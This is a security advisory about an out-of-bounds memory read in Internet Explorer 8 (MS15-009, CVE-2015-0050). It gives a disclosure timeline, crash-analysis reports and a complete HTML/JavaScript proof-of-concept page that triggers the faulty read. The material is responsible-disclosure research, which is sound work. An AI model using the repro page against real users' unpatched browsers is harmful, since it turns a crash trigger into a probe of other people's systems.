This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected. November 22nd, 2016 MSIE 8 MSHTML SRun­Pointer::Span­Qualifier/Run­Type OOB read

MSIE 8 MSHTML SRun­Pointer::Span­Qualifier/Run­Type OOB read

(MS15-009, CVE-2015-0050)

Synopsis

A specially crafted web-page can cause Microsoft Internet Explorer 8 to attempt to read data beyond the boundaries of a memory allocation. The issue does not appear to be easily exploitable.

Known affected software, attack vectors and mitigations

  • Microsoft Internet Explorer 8

    An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.

 Repro.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <style> position_­fixed { position: fixed; } position_­relative { position: relative; } float_­left { float: left; } complex { float: left; width: 100%; } complex:first-line { clear: left; } </style> <script> window.onload = function boom() { o­Element_­float_­left = document.create­Element('float_­left'); o­Element_­complex = document.create­Element('complex'); o­Element_­position_­fixed = document.create­Element('position_­fixed'); o­Element_­position_­relative = document.create­Element('position_­relative'); o­Element_­table = document.create­Element('table'); o­Element_­x = document.create­Element('x'); o­Text­Node = document.create­Text­Node('x'); document.document­Element.append­Child(o­Element_­float_­left); o­Element_­float_­left.append­Child(o­Element_­complex); o­Element_­float_­left.append­Child(o­Text­Node); o­Element_­complex.append­Child(o­Element_­position_­fixed); o­Element_­complex.append­Child(o­Element_­position_­relative); o­Element_­complex.append­Child(o­Element_­table); o­Element_­complex.append­Child(o­Element_­x); set­Timeout(function() { o­Element_­x.set­Attribute('class', 'x'); set­Timeout(function() { alert(); document.write(0); }, 0); }, 0); } </script> </head> </html>

Description

The issue requires rather complex manipulation of the DOM and results in reading a value immediately following an object. The lower three bits of this value are returned by the function doing the reading, resulting in a return value in the range 0-7. After exhaustively skipping over the read AV and having that function return each value, no other side effects were noticed. For that reason I assume this issue is hard if not impossible to exploit and did not investigate further. It is still possible that there may be subtle effects that I did not notice that allow exploitation in some form or other.

Time-line

  • June 2014: This vulnerability was found through fuzzing.
  • October 2014: This vulnerability was submitted to ZDI.
  • October 2014: This vulnerability was rejected by ZDI.
  • November 2014: This vulnerability was reported to MSRC.
  • February 2015: This vulnerability was addressed by Microsoft in MS15-009.
  • November 2016: Details of this issue are released.
 Bug­Id report: mshtml.dll!SRun­Pointer::Run­Type Arbitrary~F10 AVR(6045E7D8) 
id:             mshtml.dll!SRun­Pointer::Run­Type Arbitrary~F10 AVR(6045E7D8)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x0E42CF10) in mshtml.dll!SRun­Pointer::Run­Type
note:           Based on this information, this is expected to be a security issue!
This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version. Bug­Id report: mshtml.dll!SRun­Pointer::Span­Qualifier Arbitrary~F10 AVR(F5C086DB) 
id:             mshtml.dll!SRun­Pointer::Span­Qualifier Arbitrary~F10 AVR(F5C086DB)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x0B50DF10) in mshtml.dll!SRun­Pointer::Span­Qualifier
note:           Based on this information, this is expected to be a security issue!
This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version. © Copyright 2019 by Sky­Lined. Last updated on September 9th, 2019. Creative Commons License This work is licensed under a Creative Commons Attribution-Non‑Commercial 4.0 International License. If you find this web-site useful and would like to make a donation, you can send bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.